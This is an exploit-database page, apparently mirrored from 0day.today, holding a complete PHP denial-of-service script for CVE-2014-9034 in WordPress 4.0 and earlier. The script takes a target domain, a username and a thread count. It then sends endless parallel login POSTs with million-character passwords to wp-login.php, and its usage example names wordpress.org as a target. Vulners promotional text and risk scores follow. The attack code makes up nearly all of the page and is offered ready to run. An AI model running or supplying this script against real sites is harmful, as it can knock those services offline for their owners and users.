Lucene search
K

WordPress 4.0 Denial Of Service Exploit

🗓️ 01 Dec 2014 00:00:00Reported by John MartinelliType 
zdt
 zdt
🔗 0day.today👁 43 Views

WordPress v4.0 DoS Exploit Po

Related
Code
<?php

echo "\nCVE-2014-9034 | WordPress <= v4.0 Denial of Service Vulnerability\n";
echo "Proof-of-Concept developed by [email protected] (http://secureli.com)\n\n";
echo "usage: php wordpressed.php domain.com username numberOfThreads\n";
echo " e.g.: php wordpressed.php wordpress.org admin 50\n\n";

echo "Sending POST data (username: " . $argv[2] . "; threads: " . $argv[3] . ") to " . $argv[1];

do {
 
$multi = curl_multi_init();
$channels = array();

for ($x = 0; $x < $argv[3]; $x++) {
  $ch = curl_init();

  $postData = array(
    'log' => $argv[2],
    'pwd' => str_repeat("A",1000000),
    'redirect_to' => $argv[1] . "/wp-admin/",
    'reauth' => 1,
    'testcookie' => '1',
    'wp-submit' => "Log%20In");

  $cookieFiles = "cookie.txt";

  curl_setopt_array($ch, array(
      CURLOPT_HEADER => 1,
      CURLOPT_USERAGENT => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6",
      CURLOPT_REFERER => $argv[1] . "/wp-admin/",
      CURLOPT_COOKIEJAR => $cookieFiles,
      CURLOPT_COOKIESESSION => true,
      CURLOPT_URL => $argv[1] . '/wp-login.php',
      CURLOPT_RETURNTRANSFER => true,
      CURLOPT_POST => true,
      CURLOPT_POSTFIELDS => $postData,
      CURLOPT_FOLLOWLOCATION => true));
   
    curl_multi_add_handle($multi, $ch);
 
    $channels[$x] = $ch;
}
 
$active = null;

do {
  $mrc = curl_multi_exec($multi, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);
 
while ($active && $mrc == CURLM_OK) {
    do {

        $mrc = curl_multi_exec($multi, $active);
    } while ($mrc == CURLM_CALL_MULTI_PERFORM);
}

foreach ($channels as $channel) {
    curl_multi_remove_handle($multi, $channel);
}
 
curl_multi_close($multi);
echo ".";
} while (1==1);

?>

#  0day.today [2018-01-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Dec 2014 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.8017
43